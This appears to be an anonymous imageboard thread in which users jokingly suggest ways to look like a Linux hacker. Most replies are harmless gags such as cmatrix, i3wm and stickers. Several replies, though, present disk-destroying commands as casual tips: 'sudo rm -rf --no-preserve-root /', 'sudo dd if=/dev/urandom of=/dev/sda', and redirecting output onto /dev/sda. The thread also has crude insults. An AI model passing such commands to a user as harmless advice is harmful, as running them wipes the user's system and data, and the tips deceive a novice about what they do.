How do I look like a hacker on linux without actually being proficient in it?

How do I look like a hacker on linux without actually being proficient in it?

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Put on a balaclava and shades.

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sudo apt list

Easiest way is to use i3wm. Everyone will think ur a seasoned hacker which is not necessarily a good thing because people will offer you jobs and if you say 'no' they will keep raising the wages until you either admit to being a fraud or you say "yes" because the wages sounds so high that you feel like an asshole saying 'no'. Then suddenly you have a job and people expect you to do a great job. Pro-tip : apparently you can get away with "i need to get a good look and analyse the database" the first week

Stickers on your thinkpad

cmatrix

Buy a tiny keyboard with special snowflake switches "that you probably never heard of :)"
Everyone knows, the fewer keys you have, the better a programmer you are. /mkg/ will confirm this.

>an app

>matrix code and ascii art
KEK

use moc

Install kali linux to browse internet.

>balaclava
The question was how to look like a hacker, not an antifa

cd code
cd..
ls
cd ..
cd code

>cat binary files
>htop
>wget a bunch of files into /dev/null
>install a bunch of random packages
>use a script to open a bunch of terminals doing these things

Anyone who actually uses these things will think you're a moron but you'd likely fool Windows only babbies.

>sheltered to the point poltardianism is the only thing you can relate to
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cat /dev/random

join us in the matrix brother

sudo ls -R / > /dev/sda

Open shell
df -k

sudo rm -rf --no-preserve-root /

>being gay

kek

strings -s "" /dev/urandom

dont forget the hexdump

Isn't that what desktop threads usually boil down to?

This

sudo dd if=/dev/urandom of=/dev/sda && sync

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